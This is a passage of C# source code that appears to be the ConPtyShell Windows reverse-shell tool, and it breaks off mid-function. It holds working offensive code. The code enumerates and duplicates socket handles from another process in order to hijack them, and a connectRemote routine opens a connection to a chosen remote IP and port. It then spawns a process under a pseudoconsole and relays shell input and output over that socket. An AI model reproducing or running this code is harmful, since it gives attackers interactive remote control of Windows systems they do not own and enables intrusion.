IntPtr.Zero) 745 | { 746 | CloseHandle(dupHandle); 747 | continue; 748 | } 749 | try 750 | { 751 | objNameInfo = (OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ptrObjectName, typeof(OBJECT_NAME_INFORMATION)); 752 | } 753 | catch 754 | { 755 | CloseHandle(dupHandle); 756 | continue; 757 | } 758 | if (objNameInfo.Name.Buffer != IntPtr.Zero && objNameInfo.Name.Length > 0) 759 | { 760 | strObjectName = Marshal.PtrToStringUni(objNameInfo.Name.Buffer, objNameInfo.Name.Length / 2); 761 | // Console.WriteLine("debug: file handle 0x" + dupHandle.ToString("X4") + " strObjectName = " + strObjectName); 762 | if (strObjectName == "\\Device\\Afd") 763 | socketsHandles.Add(dupHandle); 764 | else 765 | CloseHandle(dupHandle); 766 | } 767 | else 768 | CloseHandle(dupHandle); 769 | Marshal.FreeHGlobal(ptrObjectName); 770 | ptrObjectName = IntPtr.Zero; 771 | } 772 | } 773 | Marshal.FreeHGlobal(ptrHandlesInfo); 774 | List dupedSocketsHandles = DuplicateSocketsFromHandles(socketsHandles); 775 | if (dupedSocketsHandles.Count >= 1) 776 | dupedSocketsHandles = FilterAndOrderSocketsByBytesIn(dupedSocketsHandles); 777 | socketsHandles = dupedSocketsHandles; 778 | return socketsHandles; 779 | } 780 | 781 | public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess) 782 | { 783 | bool inherited = false; 784 | List parentSocketsHandles = GetSocketsTargetProcess(parentProcess); 785 | if (parentSocketsHandles.Count < 1) 786 | return inherited; 787 | foreach (IntPtr parentSocketHandle in parentSocketsHandles) 788 | { 789 | SOCKADDR_IN sockaddrTargetProcess = new SOCKADDR_IN(); 790 | SOCKADDR_IN sockaddrParentProcess = new SOCKADDR_IN(); 791 | int sockaddrTargetProcessLen = Marshal.SizeOf(sockaddrTargetProcess); 792 | int sockaddrParentProcessLen = Marshal.SizeOf(sockaddrParentProcess); 793 | if ( 794 | (getpeername(socketHandle, ref sockaddrTargetProcess, ref sockaddrTargetProcessLen) == 0) && 795 | (getpeername(parentSocketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) == 0) && 796 | (sockaddrTargetProcess.sin_addr == sockaddrParentProcess.sin_addr && sockaddrTargetProcess.sin_port == sockaddrParentProcess.sin_port) 797 | ) 798 | { 799 | // Console.WriteLine("debug: found inherited socket! handle --> 0x" + parentSocketHandle.ToString("X4")); 800 | inherited = true; 801 | } 802 | closesocket(parentSocketHandle); 803 | } 804 | return inherited; 805 | } 806 | 807 | public static bool IsSocketOverlapped(IntPtr socket) 808 | { 809 | bool ret = false; 810 | IntPtr sockEvent = IntPtr.Zero; 811 | int ntStatus = -1; 812 | SOCKET_CONTEXT contextData = new SOCKET_CONTEXT(); 813 | ntStatus = NtCreateEvent(ref sockEvent, EVENT_ALL_ACCESS, IntPtr.Zero, SynchronizationEvent, false); 814 | if (ntStatus != NTSTATUS_SUCCESS) 815 | { 816 | // Console.WriteLine("debug: NtCreateEvent failed with error code 0x" + ntStatus.ToString("X8")); ; 817 | return ret; 818 | } 819 | IO_STATUS_BLOCK IOSB = new IO_STATUS_BLOCK(); 820 | ntStatus = NtDeviceIoControlFile1(socket, sockEvent, IntPtr.Zero, IntPtr.Zero, ref IOSB, IOCTL_AFD_GET_CONTEXT, IntPtr.Zero, 0, ref contextData, Marshal.SizeOf(contextData)); 821 | // Wait for Completion 822 | if (ntStatus == NTSTATUS_PENDING) 823 | { 824 | WaitForSingleObject(sockEvent, INFINITE); 825 | ntStatus = IOSB.status; 826 | } 827 | CloseHandle(sockEvent); 828 | 829 | if (ntStatus != NTSTATUS_SUCCESS) 830 | { 831 | // Console.WriteLine("debug: NtDeviceIoControlFile failed with error code 0x" + ntStatus.ToString("X8")); ; 832 | return ret; 833 | } 834 | if ((contextData.SharedData.CreationFlags & WSA_FLAG_OVERLAPPED) != 0) ret = true; 835 | return ret; 836 | } 837 | 838 | public static IntPtr DuplicateTargetProcessSocket(Process targetProcess, ref bool overlappedSocket) 839 | { 840 | IntPtr targetSocketHandle = IntPtr.Zero; 841 | List targetProcessSockets = GetSocketsTargetProcess(targetProcess); 842 | if (targetProcessSockets.Count < 1) return targetSocketHandle; 843 | else 844 | { 845 | foreach (IntPtr socketHandle in targetProcessSockets) 846 | { 847 | // we prioritize the hijacking of Overlapped sockets 848 | if (!IsSocketOverlapped(socketHandle)) 849 | { 850 | // Console.WriteLine("debug: Found a usable socket, but it has not been created with the flag WSA_FLAG_OVERLAPPED, skipping..."); 851 | continue; 852 | } 853 | targetSocketHandle = socketHandle; 854 | overlappedSocket = true; 855 | break; 856 | } 857 | // no Overlapped sockets found, expanding the scope by including also Non-Overlapped sockets 858 | if (targetSocketHandle == IntPtr.Zero) { 859 | // Console.WriteLine("debug: No overlapped sockets found. Trying to return also non-overlapped sockets..."); 860 | foreach (IntPtr socketHandle in targetProcessSockets) 861 | { 862 | targetSocketHandle = socketHandle; 863 | if (!IsSocketOverlapped(targetSocketHandle)) overlappedSocket = false; 864 | break; 865 | } 866 | } 867 | } 868 | if (targetSocketHandle == IntPtr.Zero) 869 | throw new ConPtyShellException("No sockets found, so no hijackable sockets :( Exiting..."); 870 | return targetSocketHandle; 871 | } 872 | public static void SetSocketBlockingMode(IntPtr socket, int mode) 873 | { 874 | int FIONBIO = -2147195266; 875 | int NonBlockingMode = 1; 876 | int BlockingMode = 0; 877 | int result; 878 | if (mode == 1) 879 | result = ioctlsocket(socket, FIONBIO, ref NonBlockingMode); 880 | else 881 | result = ioctlsocket(socket, FIONBIO, ref BlockingMode); 882 | if (result == -1) 883 | throw new ConPtyShellException("ioctlsocket failed with return code " + result.ToString() + " and wsalasterror: " + WSAGetLastError().ToString()); 884 | } 885 | } 886 | 887 | // source from --> https://stackoverflow.com/a/3346055 888 | [StructLayout(LayoutKind.Sequential)] 889 | public struct ParentProcessUtilities 890 | { 891 | // These members must match PROCESS_BASIC_INFORMATION 892 | internal IntPtr Reserved1; 893 | internal IntPtr PebBaseAddress; 894 | internal IntPtr Reserved2_0; 895 | internal IntPtr Reserved2_1; 896 | internal IntPtr UniqueProcessId; 897 | internal IntPtr InheritedFromUniqueProcessId; 898 | 899 | [DllImport("ntdll.dll")] 900 | private static extern int NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, ref ParentProcessUtilities processInformation, int processInformationLength, out int returnLength); 901 | 902 | public static Process GetParentProcess() 903 | { 904 | return GetParentProcess(Process.GetCurrentProcess().Handle); 905 | } 906 | 907 | public static Process GetParentProcess(int id) 908 | { 909 | Process process = Process.GetProcessById(id); 910 | return GetParentProcess(process.Handle); 911 | } 912 | 913 | public static Process GetParentProcess(IntPtr handle) 914 | { 915 | ParentProcessUtilities pbi = new ParentProcessUtilities(); 916 | int returnLength; 917 | int status = NtQueryInformationProcess(handle, 0, ref pbi, Marshal.SizeOf(pbi), out returnLength); 918 | if (status != 0) 919 | throw new ConPtyShellException(status.ToString()); 920 | try 921 | { 922 | return Process.GetProcessById(pbi.InheritedFromUniqueProcessId.ToInt32()); 923 | } 924 | catch (ArgumentException) 925 | { 926 | // not found 927 | return null; 928 | } 929 | } 930 | } 931 | 932 | public static class ConPtyShell 933 | { 934 | private const string errorString = "{{{ConPtyShellException}}}\r\n"; 935 | private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004; 936 | private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008; 937 | private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016; 938 | private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; 939 | private const int STARTF_USESTDHANDLES = 0x00000100; 940 | private const int BUFFER_SIZE_PIPE = 1048576; 941 | private const int WSA_FLAG_OVERLAPPED = 0x1; 942 | private const UInt32 INFINITE = 0xFFFFFFFF; 943 | private const int SW_HIDE = 0; 944 | private const uint GENERIC_READ = 0x80000000; 945 | private const uint GENERIC_WRITE = 0x40000000; 946 | private const uint FILE_SHARE_READ = 0x00000001; 947 | private const uint FILE_SHARE_WRITE = 0x00000002; 948 | private const uint FILE_ATTRIBUTE_NORMAL = 0x80; 949 | private const uint OPEN_EXISTING = 3; 950 | private const int STD_INPUT_HANDLE = -10; 951 | private const int STD_OUTPUT_HANDLE = -11; 952 | private const int STD_ERROR_HANDLE = -12; 953 | private const int WSAEWOULDBLOCK = 10035; 954 | private const int FD_READ = (1 << 0); 955 | 956 | 957 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 958 | private struct STARTUPINFOEX 959 | { 960 | public STARTUPINFO StartupInfo; 961 | public IntPtr lpAttributeList; 962 | } 963 | 964 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 965 | private struct STARTUPINFO 966 | { 967 | public Int32 cb; 968 | public string lpReserved; 969 | public string lpDesktop; 970 | public string lpTitle; 971 | public Int32 dwX; 972 | public Int32 dwY; 973 | public Int32 dwXSize; 974 | public Int32 dwYSize; 975 | public Int32 dwXCountChars; 976 | public Int32 dwYCountChars; 977 | public Int32 dwFillAttribute; 978 | public Int32 dwFlags; 979 | public Int16 wShowWindow; 980 | public Int16 cbReserved2; 981 | public IntPtr lpReserved2; 982 | public IntPtr hStdInput; 983 | public IntPtr hStdOutput; 984 | public IntPtr hStdError; 985 | } 986 | 987 | [StructLayout(LayoutKind.Sequential)] 988 | private struct PROCESS_INFORMATION 989 | { 990 | public IntPtr hProcess; 991 | public IntPtr hThread; 992 | public int dwProcessId; 993 | public int dwThreadId; 994 | } 995 | 996 | [StructLayout(LayoutKind.Sequential)] 997 | private struct SECURITY_ATTRIBUTES 998 | { 999 | public int nLength; 1000 | public IntPtr lpSecurityDescriptor; 1001 | public int bInheritHandle; 1002 | } 1003 | 1004 | [StructLayout(LayoutKind.Sequential)] 1005 | private struct COORD 1006 | { 1007 | public short X; 1008 | public short Y; 1009 | } 1010 | 1011 | [StructLayout(LayoutKind.Sequential)] 1012 | private struct WSAData 1013 | { 1014 | public short wVersion; 1015 | public short wHighVersion; 1016 | public short iMaxSockets; 1017 | public short iMaxUdpDg; 1018 | public IntPtr lpVendorInfo; 1019 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)] 1020 | public string szDescription; 1021 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)] 1022 | public string szSystemStatus; 1023 | } 1024 | 1025 | [StructLayout(LayoutKind.Sequential)] 1026 | private struct SOCKADDR_IN 1027 | { 1028 | public short sin_family; 1029 | public short sin_port; 1030 | public uint sin_addr; 1031 | public long sin_zero; 1032 | } 1033 | 1034 | [DllImport("kernel32.dll", SetLastError = true)] 1035 | [return: MarshalAs(UnmanagedType.Bool)] 1036 | private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); 1037 | 1038 | [DllImport("kernel32.dll", SetLastError = true)] 1039 | [return: MarshalAs(UnmanagedType.Bool)] 1040 | private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); 1041 | 1042 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "CreateProcess")] 1043 | [return: MarshalAs(UnmanagedType.Bool)] 1044 | private static extern bool CreateProcessEx(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); 1045 | 1046 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "CreateProcess")] 1047 | private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); 1048 | 1049 | [DllImport("kernel32.dll", SetLastError = true)] 1050 | [return: MarshalAs(UnmanagedType.Bool)] 1051 | private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); 1052 | 1053 | [DllImport("kernel32.dll", SetLastError = true)] 1054 | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 1055 | 1056 | [DllImport("kernel32.dll", SetLastError = true)] 1057 | private static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle); 1058 | 1059 | [DllImport("kernel32.dll", SetLastError = true)] 1060 | private static extern IntPtr GetStdHandle(int nStdHandle); 1061 | 1062 | [DllImport("kernel32.dll", SetLastError = true)] 1063 | private static extern bool CloseHandle(IntPtr hObject); 1064 | 1065 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 1066 | private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize); 1067 | 1068 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)] 1069 | private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr SecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); 1070 | 1071 | [DllImport("kernel32.dll", SetLastError = true)] 1072 | private static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer, uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped); 1073 | 1074 | [DllImport("kernel32.dll", SetLastError = true)] 1075 | private static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, uint nNumberOfBytesToWrite, out uint lpNumberOfBytesWritten, IntPtr lpOverlapped); 1076 | 1077 | [DllImport("kernel32.dll", SetLastError = true)] 1078 | private static extern int CreatePseudoConsole(COORD size, IntPtr hInput, IntPtr hOutput, uint dwFlags, out IntPtr phPC); 1079 | 1080 | [DllImport("kernel32.dll", SetLastError = true)] 1081 | private static extern int ClosePseudoConsole(IntPtr hPC); 1082 | 1083 | [DllImport("kernel32.dll", SetLastError = true)] 1084 | private static extern bool SetConsoleMode(IntPtr hConsoleHandle, uint mode); 1085 | 1086 | [DllImport("kernel32.dll", SetLastError = true)] 1087 | private static extern bool GetConsoleMode(IntPtr handle, out uint mode); 1088 | 1089 | [DllImport("kernel32.dll")] 1090 | [return: MarshalAs(UnmanagedType.Bool)] 1091 | private static extern bool AllocConsole(); 1092 | 1093 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 1094 | private static extern bool FreeConsole(); 1095 | 1096 | [DllImport("user32.dll")] 1097 | private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); 1098 | 1099 | [DllImport("kernel32.dll")] 1100 | private static extern IntPtr GetConsoleWindow(); 1101 | 1102 | [DllImport("kernel32.dll", CharSet = CharSet.Auto)] 1103 | private static extern IntPtr GetModuleHandle(string lpModuleName); 1104 | 1105 | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] 1106 | private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 1107 | 1108 | [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] 1109 | private static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags); 1110 | 1111 | [DllImport("ws2_32.dll", SetLastError = true)] 1112 | private static extern int connect(IntPtr s, ref SOCKADDR_IN addr, int addrsize); 1113 | 1114 | [DllImport("ws2_32.dll", SetLastError = true)] 1115 | private static extern ushort htons(ushort hostshort); 1116 | 1117 | [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] 1118 | private static extern uint inet_addr(string cp); 1119 | 1120 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto)] 1121 | private static extern Int32 WSAGetLastError(); 1122 | 1123 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)] 1124 | private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData); 1125 | 1126 | [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 1127 | private static extern int closesocket(IntPtr s); 1128 | 1129 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)] 1130 | private static extern int recv(IntPtr Socket, byte[] buf, int len, uint flags); 1131 | 1132 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)] 1133 | private static extern int send(IntPtr Socket, byte[] buf, int len, uint flags); 1134 | 1135 | [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] 1136 | private static extern IntPtr WSACreateEvent(); 1137 | 1138 | [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] 1139 | private static extern int WSAEventSelect(IntPtr s, IntPtr hEventObject, int lNetworkEvents); 1140 | 1141 | [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] 1142 | private static extern int WSAWaitForMultipleEvents(int cEvents, IntPtr[] lphEvents, bool fWaitAll, int dwTimeout, bool fAlertable); 1143 | 1144 | [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] 1145 | private static extern bool WSAResetEvent(IntPtr hEvent); 1146 | 1147 | [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] 1148 | private static extern bool WSACloseEvent(IntPtr hEvent); 1149 | 1150 | [DllImport("ntdll.dll")] 1151 | private static extern uint NtSuspendProcess(IntPtr processHandle); 1152 | 1153 | [DllImport("ntdll.dll")] 1154 | private static extern uint NtResumeProcess(IntPtr processHandle); 1155 | 1156 | private static void InitWSAThread() 1157 | { 1158 | WSAData data; 1159 | if (WSAStartup(2 << 8 | 2, out data) != 0) 1160 | throw new ConPtyShellException(String.Format("WSAStartup failed with error code: {0}", WSAGetLastError())); 1161 | } 1162 | 1163 | private static IntPtr connectRemote(string remoteIp, int remotePort) 1164 | { 1165 | int port = 0; 1166 | int error = 0; 1167 | string host = remoteIp; 1168 | 1169 | try 1170 | { 1171 | port = Convert.ToInt32(remotePort); 1172 | } 1173 | catch 1174 | { 1175 | throw new ConPtyShellException("Specified port is invalid: " + remotePort.ToString()); 1176 | } 1177 | 1178 | IntPtr socket = IntPtr.Zero; 1179 | socket = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, IntPtr.Zero, 0, WSA_FLAG_OVERLAPPED); 1180 | SOCKADDR_IN sockinfo = new SOCKADDR_IN(); 1181 | sockinfo.sin_family = (short)2; 1182 | sockinfo.sin_addr = inet_addr(host); 1183 | sockinfo.sin_port = (short)htons((ushort)port); 1184 | 1185 | if (connect(socket, ref sockinfo, Marshal.SizeOf(sockinfo)) != 0) 1186 | { 1187 | error = WSAGetLastError(); 1188 | throw new ConPtyShellException(String.Format("WSAConnect failed with error code: {0}", error)); 1189 | } 1190 | 1191 | return socket; 1192 | } 1193 | 1194 | private static void TryParseRowsColsFromSocket(IntPtr shellSocket, ref uint rows, ref uint cols) 1195 | { 1196 | Thread.Sleep(500);//little tweak for slower connections 1197 | byte[] received = new byte[100]; 1198 | int rowsTemp, colsTemp; 1199 | int bytesReceived = recv(shellSocket, received, 100, 0); 1200 | try 1201 | { 1202 | string sizeReceived = Encoding.ASCII.GetString(received, 0, bytesReceived); 1203 | string rowsString = sizeReceived.Split(' ')[0].Trim(); 1204 | string colsString = sizeReceived.Split(' ')[1].Trim(); 1205 | if (Int32.TryParse(rowsString, out rowsTemp) && Int32.TryParse(colsString, out colsTemp)) 1206 | { 1207 | rows = (uint)rowsTemp; 1208 | cols = (uint)colsTemp; 1209 | } 1210 | } 1211 | catch 1212 | { 1213 | return; 1214 | } 1215 | } 1216 | 1217 | private static void CreatePipes(ref IntPtr InputPipeRead, ref IntPtr InputPipeWrite, ref IntPtr OutputPipeRead, ref IntPtr OutputPipeWrite) 1218 | { 1219 | SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); 1220 | pSec.nLength = Marshal.SizeOf(pSec); 1221 | pSec.bInheritHandle = 1; 1222 | pSec.lpSecurityDescriptor = IntPtr.Zero; 1223 | if (!CreatePipe(out InputPipeRead, out InputPipeWrite, ref pSec, BUFFER_SIZE_PIPE)) 1224 | throw new ConPtyShellException("Could not create the InputPipe"); 1225 | if (!CreatePipe(out OutputPipeRead, out OutputPipeWrite, ref pSec, BUFFER_SIZE_PIPE)) 1226 | throw new ConPtyShellException("Could not create the OutputPipe"); 1227 | } 1228 | 1229 | private static void InitConsole(ref IntPtr oldStdIn, ref IntPtr oldStdOut, ref IntPtr oldStdErr) 1230 | { 1231 | oldStdIn = GetStdHandle(STD_INPUT_HANDLE); 1232 | oldStdOut = GetStdHandle(STD_OUTPUT_HANDLE); 1233 | oldStdErr = GetStdHandle(STD_ERROR_HANDLE); 1234 | IntPtr hStdout = CreateFile("CONOUT$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero); 1235 | IntPtr hStdin = CreateFile("CONIN$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero); 1236 | SetStdHandle(STD_OUTPUT_HANDLE, hStdout); 1237 | SetStdHandle(STD_ERROR_HANDLE, hStdout); 1238 | SetStdHandle(STD_INPUT_HANDLE, hStdin); 1239 | } 1240 | 1241 | private static void RestoreStdHandles(IntPtr oldStdIn, IntPtr oldStdOut, IntPtr oldStdErr) 1242 | { 1243 | SetStdHandle(STD_OUTPUT_HANDLE, oldStdOut); 1244 | SetStdHandle(STD_ERROR_HANDLE, oldStdErr); 1245 | SetStdHandle(STD_INPUT_HANDLE, oldStdIn); 1246 | } 1247 | 1248 | private static void EnableVirtualTerminalSequenceProcessing() 1249 | { 1250 | uint outConsoleMode = 0; 1251 | IntPtr hStdOut = GetStdHandle(STD_OUTPUT_HANDLE); 1252 | if (!GetConsoleMode(hStdOut, out outConsoleMode)) 1253 | { 1254 | throw new ConPtyShellException("Could not get console mode"); 1255 | } 1256 | outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN; 1257 | if (!SetConsoleMode(hStdOut, outConsoleMode)) 1258 | { 1259 | throw new ConPtyShellException("Could not enable virtual terminal processing"); 1260 | } 1261 | } 1262 | 1263 | private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols) 1264 | { 1265 | int result = -1; 1266 | EnableVirtualTerminalSequenceProcessing(); 1267 | COORD consoleCoord = new COORD(); 1268 | consoleCoord.X = (short)cols; 1269 | consoleCoord.Y = (short)rows; 1270 | result = CreatePseudoConsole(consoleCoord, ConPtyInputPipeRead, ConPtyOutputPipeWrite, 0, out handlePseudoConsole); 1271 | return result; 1272 | } 1273 | 1274 | private static STARTUPINFOEX ConfigureProcessThread(IntPtr handlePseudoConsole, IntPtr attributes) 1275 | { 1276 | IntPtr lpSize = IntPtr.Zero; 1277 | bool success = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); 1278 | if (success || lpSize == IntPtr.Zero) 1279 | { 1280 | throw new ConPtyShellException("Could not calculate the number of bytes for the attribute list. " + Marshal.GetLastWin32Error()); 1281 | } 1282 | STARTUPINFOEX startupInfo = new STARTUPINFOEX(); 1283 | startupInfo.StartupInfo.cb = Marshal.SizeOf(startupInfo); 1284 | startupInfo.lpAttributeList = Marshal.AllocHGlobal(lpSize); 1285 | success = InitializeProcThreadAttributeList(startupInfo.lpAttributeList, 1, 0, ref lpSize); 1286 | if (!success) 1287 | { 1288 | throw new ConPtyShellException("Could not set up attribute list. " + Marshal.GetLastWin32Error()); 1289 | } 1290 | success = UpdateProcThreadAttribute(startupInfo.lpAttributeList, 0, attributes, handlePseudoConsole, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); 1291 | if (!success) 1292 | { 1293 | throw new ConPtyShellException("Could not set pseudoconsole thread attribute. " + Marshal.GetLastWin32Error()); 1294 | } 1295 | return startupInfo; 1296 | } 1297 | 1298 | private static PROCESS_INFORMATION RunProcess(ref STARTUPINFOEX sInfoEx, string commandLine) 1299 | { 1300 | PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); 1301 | SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); 1302 | int securityAttributeSize = Marshal.SizeOf(pSec); 1303 | pSec.nLength = securityAttributeSize; 1304 | SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); 1305 | tSec.nLength = securityAttributeSize; 1306 | bool success = CreateProcessEx(null, commandLine, ref pSec, ref tSec, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref sInfoEx, out pInfo); 1307 | if (!success) 1308 | { 1309 | throw new ConPtyShellException("Could not create process. " + Marshal.GetLastWin32Error()); 1310 | } 1311 | return pInfo; 1312 | } 1313 | 1314 | private static PROCESS_INFORMATION CreateChildProcessWithPseudoConsole(IntPtr handlePseudoConsole, string commandLine) 1315 | { 1316 | STARTUPINFOEX startupInfo = ConfigureProcessThread(handlePseudoConsole, (IntPtr)PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE); 1317 | PROCESS_INFORMATION processInfo = RunProcess(ref startupInfo, commandLine); 1318 | return processInfo; 1319 | } 1320 | 1321 | private static void ThreadReadPipeWriteSocketOverlapped(object threadParams) 1322 | { 1323 | object[] threadParameters = (object[])threadParams; 1324 | IntPtr OutputPipeRead = (IntPtr)threadParameters[0]; 1325 | IntPtr shellSocket = (IntPtr)threadParameters[1]; 1326 | int bufferSize = 8192; 1327 | bool readSuccess = false; 1328 | Int32 bytesSent = 0; 1329 | uint dwBytesRead = 0; 1330 | do 1331 | { 1332 | byte[] bytesToWrite = new byte[bufferSize]; 1333 | readSuccess = ReadFile(OutputPipeRead, bytesToWrite, (uint)bufferSize, out dwBytesRead, IntPtr.Zero); 1334 | bytesSent = send(shellSocket, bytesToWrite, (int)dwBytesRead, 0); 1335 | } while (bytesSent > 0 && readSuccess); 1336 | // Console.WriteLine("debug: bytesSent = " + bytesSent + " WSAGetLastError() = " + WSAGetLastError().ToString()); 1337 | } 1338 | 1339 | private static void ThreadReadPipeWriteSocketNonOverlapped(object threadParams) 1340 | { 1341 | object[] threadParameters = (object[])threadParams; 1342 | IntPtr OutputPipeRead = (IntPtr)threadParameters[0]; 1343 | IntPtr shellSocket = (IntPtr)threadParameters[1]; 1344 | int bufferSize = 8192; 1345 | bool readSuccess = false; 1346 | Int32 bytesSent = 0; 1347 | uint dwBytesRead = 0; 1348 | do 1349 | { 1350 | byte[] bytesToWrite = new byte[bufferSize]; 1351 | readSuccess = ReadFile(OutputPipeRead, bytesToWrite, (uint)bufferSize, out dwBytesRead, IntPtr.Zero); 1352 | // Console.WriteLine("debug ThreadReadPipeWriteSocket ReadFile: dwBytesRead = " + dwBytesRead + " Marshal.GetLastWin32Error() " + Marshal.GetLastWin32Error()); 1353 | do 1354 | { 1355 | bytesSent = send(shellSocket, bytesToWrite, (int)dwBytesRead, 0); 1356 | // Console.WriteLine("debug ThreadReadPipeWriteSocket send: bytesSent = " + bytesSent + " WSAGetLastError() = " + WSAGetLastError().ToString()); 1357 | } while (WSAGetLastError() == WSAEWOULDBLOCK); 1358 | } while (bytesSent > 0 && readSuccess); 1359 | } 1360 | 1361 | private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, IntPtr shellSocket, bool overlappedSocket) 1362 | { 1363 | object[] threadParameters = new object[2]; 1364 | threadParameters[0] = OutputPipeRead; 1365 | threadParameters[1] = shellSocket; 1366 | Thread thThreadReadPipeWriteSocket; 1367 | if(overlappedSocket) 1368 | thThreadReadPipeWriteSocket = new Thread(ThreadReadPipeWriteSocketOverlapped); 1369 | else 1370 | thThreadReadPipeWriteSocket = new Thread(ThreadReadPipeWriteSocketNonOverlapped); 1371 | thThreadReadPipeWriteSocket.Start(threadParameters); 1372 | return thThreadReadPipeWriteSocket; 1373 | } 1374 | 1375 | private static void ThreadReadSocketWritePipeOverlapped(object threadParams) 1376 | { 1377 | object[] threadParameters = (object[])threadParams; 1378 | IntPtr InputPipeWrite = (IntPtr)threadParameters[0]; 1379 | IntPtr shellSocket = (IntPtr)threadParameters[1]; 1380 | IntPtr hChildProcess = (IntPtr)threadParameters[2]; 1381 | int bufferSize = 8192; 1382 | bool writeSuccess = false; 1383 | Int32 nBytesReceived = 0; 1384 | uint bytesWritten = 0; 1385 | do 1386 | { 1387 | byte[] bytesReceived = new byte[bufferSize]; 1388 | nBytesReceived = recv(shellSocket, bytesReceived, bufferSize, 0); 1389 | writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero); 1390 | } while (nBytesReceived > 0 && writeSuccess); 1391 | // Console.WriteLine("debug: nBytesReceived = " + nBytesReceived + " WSAGetLastError() = " + WSAGetLastError().ToString()); 1392 | TerminateProcess(hChildProcess, 0); 1393 | } 1394 | 1395 | private static void ThreadReadSocketWritePipeNonOverlapped(object threadParams) 1396 | { 1397 | object[] threadParameters = (object[])threadParams; 1398 | IntPtr InputPipeWrite = (IntPtr)threadParameters[0]; 1399 | IntPtr shellSocket = 